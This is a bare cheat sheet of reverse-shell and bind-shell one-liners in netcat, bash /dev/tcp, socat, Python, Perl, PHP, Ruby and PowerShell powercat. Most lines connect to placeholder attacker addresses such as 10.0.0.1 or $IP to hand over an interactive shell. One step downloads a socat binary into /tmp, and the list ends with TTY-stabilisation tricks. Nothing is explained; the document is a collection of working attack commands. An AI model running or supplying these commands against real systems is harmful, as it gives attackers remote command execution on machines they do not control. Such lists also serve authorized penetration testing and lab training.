listener> nc -nlvp 31337
nc -e /bin/sh 10.10.10.10 31337

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.10.10 31337 >/tmp/f

bash -i >& /dev/tcp/10.0.0.1/4242 0>&1 0<&196;exec 196<>/dev/tcp/10.0.0.1/4242; sh <&196 >&196 2>&196 /bin/bash -l > /dev/tcp/10.0.0.1/4242 0<&1 2>&1 

bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

user@attack$ socat file:`tty`,raw,echo=0 TCP-L:4242 user@victim$ /tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.0.1:4242user@victim$ wget -q https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat -O /tmp/socat; chmod +x /tmp/socat; /tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.0.1:4242 

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

php -r '$sock=fsockopen("$IP",31337);exec("/bin/sh -i <&3 >&3 2>&3");'
php -r '$sock=fsockopen("$IP",31337);shell_exec("/bin/sh -i <&3 >&3 2>&3");'
php -r '$sock=fsockopen("$IP",31337);`/bin/sh -i <&3 >&3 2>&3`;'
php -r '$sock=fsockopen("$IP",31337);system("/bin/sh -i <&3 >&3 2>&3");'
php -r '$sock=fsockopen("$IP",31337);passthru("/bin/sh -i <&3 >&3 2>&3");'
php -r '$sock=fsockopen("$IP",31337);popen("/bin/sh -i <&3 >&3 2>&3", "r");' 

perl -e 'use Socket;$p=51337;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));\
bind(S,sockaddr_in($p, INADDR_ANY));listen(S,SOMAXCONN);for(;$p=accept(C,S);\
close C){open(STDIN,">&C");open(STDOUT,">&C");open(STDERR,">&C");exec("/bin/bash -i");};'

python -c 'exec("""import socket as s,subprocess as sp;s1=s.socket(s.AF_INET,s.SOCK_STREAM);s1.setsockopt(s.SOL_SOCKET,s.SO_REUSEADDR, 1);s1.bind(("0.0.0.0",51337));s1.listen(1);c,a=s1.accept();\nwhile True: d=c.recv(1024).decode();p=sp.Popen(d,shell=True,stdout=sp.PIPE,stderr=sp.PIPE,stdin=sp.PIPE);c.sendall(p.stdout.read()+p.stderr.read())""")'

php -r '$s=socket_create(AF_INET,SOCK_STREAM,SOL_TCP);socket_bind($s,"0.0.0.0",51337);\
socket_listen($s,1);$cl=socket_accept($s);while(1){if(!socket_write($cl,"$ ",2))exit;\
$in=socket_read($cl,100);$cmd=popen("$in","r");while(!feof($cmd)){$m=fgetc($cmd);\
    socket_write($cl,$m,strlen($m));}}'

ruby -rsocket -e 'f=TCPServer.new(51337);s=f.accept;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",s,s,s)'

nc -nlvp 51337 -e /bin/bash

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc -lvp 51337 >/tmp/f

user@attacker$ socat FILE:`tty`,raw,echo=0 TCP:target.com:12345 
user@victim$ socat TCP-LISTEN:12345,reuseaddr,fork EXEC:/bin/sh,pty,stderr,setsid,sigint,sane

https://github.com/besimorhino/powercat

# Victim (listen)
. .\powercat.ps1
powercat -l -p 7002 -ep

# Connect from attacker
. .\powercat.ps1
powercat -c 127.0.0.1 -p 7002

python -c 'import pty; pty.spawn("/bin/bash")'
-
python3 -c 'import pty; pty.spawn("/bin/bash")'
export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/tmp
export TERM=xterm-256color
alias ll='ls -lsaht --color=auto'
Ctrl + Z [Background Process]
stty raw -echo ; fg ; reset
stty columns 200 rows 200python3 -m http.server 31337